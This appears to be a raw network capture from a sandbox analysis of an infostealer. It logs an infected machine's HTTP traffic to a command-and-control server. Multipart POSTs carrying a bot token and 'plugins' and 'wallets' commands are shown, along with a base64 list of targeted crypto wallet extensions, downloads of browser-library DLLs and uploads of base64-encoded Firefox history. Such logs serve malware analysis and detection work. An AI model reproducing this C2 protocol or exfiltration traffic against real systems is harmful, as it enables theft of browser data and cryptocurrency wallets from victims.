Ascii: ------KJECFHCBKKEBAKFIJDHIContent-Disposition: form-data; name="token"df081de418f0fe42d0584117f70d672d0766ce3702b44f29b92bfffd6b128e5eec7e448d------KJECFHCBKKEBAKFIJDHIContent-Disposition: form-data; name="message"fplugins------KJECFHCBKKEBAKFIJDHI--
Aug 30, 2024 18:17:58.201689959 CEST	335	IN	HTTP/1.1 200 OK Date: Fri, 30 Aug 2024 16:17:58 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Aug 30, 2024 18:17:58.218887091 CEST	203	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JEBKJDAFHJDGDHJKKEGI Host: 185.215.113.100 Content-Length: 7287 Connection: Keep-Alive Cache-Control: no-cache
Aug 30, 2024 18:17:59.050087929 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 30 Aug 2024 16:17:58 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Aug 30, 2024 18:17:59.356895924 CEST	94	OUT	GET /0d60be0de163924d/sqlite3.dll HTTP/1.1 Host: 185.215.113.100 Cache-Control: no-cache
Aug 30, 2024 18:17:59.598853111 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 30 Aug 2024 16:17:59 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Aug 30, 2024 18:18:01.094012976 CEST	203	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FCAECAKKFBGCBGDGIEHC Host: 185.215.113.100 Content-Length: 4599 Connection: Keep-Alive Cache-Control: no-cache
Aug 30, 2024 18:18:01.913594007 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 30 Aug 2024 16:18:01 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Aug 30, 2024 18:18:01.997178078 CEST	203	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DHIJEHJDHJKECBFHDHDH Host: 185.215.113.100 Content-Length: 1451 Connection: Keep-Alive Cache-Control: no-cache
Aug 30, 2024 18:18:02.956960917 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 30 Aug 2024 16:18:02 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Aug 30, 2024 18:18:03.067625046 CEST	565	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FBKKFBAEGDHJJJJKFBKF Host: 185.215.113.100 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 42 4b 4b 46 42 41 45 47 44 48 4a 4a 4a 4a 4b 46 42 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 66 30 38 31 64 65 34 31 38 66 30 66 65 34 32 64 30 35 38 34 31 31 37 66 37 30 64 36 37 32 64 30 37 36 36 63 65 33 37 30 32 62 34 34 66 32 39 62 39 32 62 66 66 66 64 36 62 31 32 38 65 35 65 65 63 37 65 34 34 38 64 0d 0a 2d 2d 2d 2d 2d 2d 46 42 4b 4b 46 42 41 45 47 44 48 4a 4a 4a 4a 4b 46 42 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 46 42 4b 4b 46 42 41 45 47 44 48 4a 4a 4a 4a 4b 46 42 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------FBKKFBAEGDHJJJJKFBKFContent-Disposition: form-data; name="token"df081de418f0fe42d0584117f70d672d0766ce3702b44f29b92bfffd6b128e5eec7e448d------FBKKFBAEGDHJJJJKFBKFContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------FBKKFBAEGDHJJJJKFBKFContent-Disposition: form-data; name="file"------FBKKFBAEGDHJJJJKFBKF--
Aug 30, 2024 18:18:03.912313938 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 30 Aug 2024 16:18:03 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Aug 30, 2024 18:18:04.253906965 CEST	565	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GHJDGDBFCBKFHJKFHCBK Host: 185.215.113.100 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 48 4a 44 47 44 42 46 43 42 4b 46 48 4a 4b 46 48 43 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 66 30 38 31 64 65 34 31 38 66 30 66 65 34 32 64 30 35 38 34 31 31 37 66 37 30 64 36 37 32 64 30 37 36 36 63 65 33 37 30 32 62 34 34 66 32 39 62 39 32 62 66 66 66 64 36 62 31 32 38 65 35 65 65 63 37 65 34 34 38 64 0d 0a 2d 2d 2d 2d 2d 2d 47 48 4a 44 47 44 42 46 43 42 4b 46 48 4a 4b 46 48 43 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 47 48 4a 44 47 44 42 46 43 42 4b 46 48 4a 4b 46 48 43 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------GHJDGDBFCBKFHJKFHCBKContent-Disposition: form-data; name="token"df081de418f0fe42d0584117f70d672d0766ce3702b44f29b92bfffd6b128e5eec7e448d------GHJDGDBFCBKFHJKFHCBKContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------GHJDGDBFCBKFHJKFHCBKContent-Disposition: form-data; name="file"------GHJDGDBFCBKFHJKFHCBK--
Aug 30, 2024 18:18:05.160064936 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 30 Aug 2024 16:18:04 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Aug 30, 2024 18:18:05.372941971 CEST	94	OUT	GET /0d60be0de163924d/freebl3.dll HTTP/1.1 Host: 185.215.113.100 Cache-Control: no-cache
Aug 30, 2024 18:18:05.616884947 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 30 Aug 2024 16:18:05 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Aug 30, 2024 18:18:06.548100948 CEST	94	OUT	GET /0d60be0de163924d/mozglue.dll HTTP/1.1 Host: 185.215.113.100 Cache-Control: no-cache
Aug 30, 2024 18:18:06.790139914 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 30 Aug 2024 16:18:06 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Aug 30, 2024 18:18:07.184072018 CEST	95	OUT	GET /0d60be0de163924d/msvcp140.dll HTTP/1.1 Host: 185.215.113.100 Cache-Control: no-cache
Aug 30, 2024 18:18:07.428386927 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 30 Aug 2024 16:18:07 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Aug 30, 2024 18:18:08.041189909 CEST	91	OUT	GET /0d60be0de163924d/nss3.dll HTTP/1.1 Host: 185.215.113.100 Cache-Control: no-cache
Aug 30, 2024 18:18:08.283617973 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 30 Aug 2024 16:18:08 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Aug 30, 2024 18:18:09.696419954 CEST	95	OUT	GET /0d60be0de163924d/softokn3.dll HTTP/1.1 Host: 185.215.113.100 Cache-Control: no-cache
Aug 30, 2024 18:18:09.938596010 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 30 Aug 2024 16:18:09 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Aug 30, 2024 18:18:10.278929949 CEST	99	OUT	GET /0d60be0de163924d/vcruntime140.dll HTTP/1.1 Host: 185.215.113.100 Cache-Control: no-cache
Aug 30, 2024 18:18:10.521280050 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 30 Aug 2024 16:18:10 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Aug 30, 2024 18:18:11.014769077 CEST	203	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IEGCBFHJDHJJKFIDBGIJ Host: 185.215.113.100 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Aug 30, 2024 18:18:11.324696064 CEST	1236	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IEGCBFHJDHJJKFIDBGIJ Host: 185.215.113.100 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 45 47 43 42 46 48 4a 44 48 4a 4a 4b 46 49 44 42 47 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 66 30 38 31 64 65 34 31 38 66 30 66 65 34 32 64 30 35 38 34 31 31 37 66 37 30 64 36 37 32 64 30 37 36 36 63 65 33 37 30 32 62 34 34 66 32 39 62 39 32 62 66 66 66 64 36 62 31 32 38 65 35 65 65 63 37 65 34 34 38 64 0d 0a 2d 2d 2d 2d 2d 2d 49 45 47 43 42 46 48 4a 44 48 4a 4a 4b 46 49 44 42 47 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 61 47 6c 7a 64 47 39 79 65 56 78 4e 62 33 70 70 62 47 78 68 49 45 5a 70 63 6d 56 6d 62 33 68 66 5a 6e 46 7a 4f 54 4a 76 4e 48 41 75 5a 47 56 6d 59 58 56 73 64 43 31 79 5a 57 78 6c 59 58 4e 6c 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 45 47 43 42 46 48 4a 44 48 4a 4a 4b 46 49 44 42 47 49 4a 0d 0a 43 6f 6e 74 65 6e [TRUNCATED] Data Ascii: ------IEGCBFHJDHJJKFIDBGIJContent-Disposition: form-data; name="token"df081de418f0fe42d0584117f70d672d0766ce3702b44f29b92bfffd6b128e5eec7e448d------IEGCBFHJDHJJKFIDBGIJContent-Disposition: form-data; name="file_name"aGlzdG9yeVxNb3ppbGxhIEZpcmVmb3hfZnFzOTJvNHAuZGVmYXVsdC1yZWxlYXNlLnR4dA==------IEGCBFHJDHJJKFIDBGIJContent-Disposition: form-data; name="file"aHR0cHM6Ly9zdXBwb3J0Lm1vemlsbGEub3JnL3Byb2R1Y3RzL2ZpcmVmb3gKaHR0cHM6Ly9zdXBwb3J0Lm1vemlsbGEub3JnL2tiL2N1c3RvbWl6ZS1maXJlZm94LWNvbnRyb2xzLWJ1dHRvbnMtYW5kLXRvb2xiYXJzP3V0bV9zb3VyY2U9ZmlyZWZveC1icm93c2VyJnV0bV9tZWRpdW09ZGVmYXVsdC1ib29rbWFya3MmdXRtX2NhbXBhaWduPWN1c3RvbWl6ZQpodHRwczovL3d3dy5tb3ppbGxhLm9yZy9jb250cmlidXRlLwpodHRwczovL3d3dy5tb3ppbGxhLm9yZy9hYm91dC8KaHR0cHM6Ly93d3cubW96aWxsYS5vcmcvZmlyZWZveC8/dXRtX21lZGl1bT1maXJlZm94LWRlc2t0b3AmdXRtX3NvdXJjZT1ib29rbWFya3MtdG9vbGJhciZ1dG1fY2FtcGFpZ249bmV3LXVzZXJzJnV0bV9jb250ZW50PS1nbG9iYWwKaHR0cHM6Ly93d3cubW96aWxsYS5vcmcvcHJpdmFjeS9maXJlZm94LwpodHRwczovL3d3dy5tb3ppbGxhLm9yZy9lbi1VUy9wc [TRUNCATED]
Aug 30, 2024 18:18:12.171641111 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 30 Aug 2024 16:18:11 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=83 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Aug 30, 2024 18:18:12.215389967 CEST	469	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JEBKJDAFHJDGDHJKKEGI Host: 185.215.113.100 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 45 42 4b 4a 44 41 46 48 4a 44 47 44 48 4a 4b 4b 45 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 66 30 38 31 64 65 34 31 38 66 30 66 65 34 32 64 30 35 38 34 31 31 37 66 37 30 64 36 37 32 64 30 37 36 36 63 65 33 37 30 32 62 34 34 66 32 39 62 39 32 62 66 66 66 64 36 62 31 32 38 65 35 65 65 63 37 65 34 34 38 64 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 42 4b 4a 44 41 46 48 4a 44 47 44 48 4a 4b 4b 45 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 42 4b 4a 44 41 46 48 4a 44 47 44 48 4a 4b 4b 45 47 49 2d 2d 0d 0a Data Ascii: ------JEBKJDAFHJDGDHJKKEGIContent-Disposition: form-data; name="token"df081de418f0fe42d0584117f70d672d0766ce3702b44f29b92bfffd6b128e5eec7e448d------JEBKJDAFHJDGDHJKKEGIContent-Disposition: form-data; name="message"wallets------JEBKJDAFHJDGDHJKKEGI--
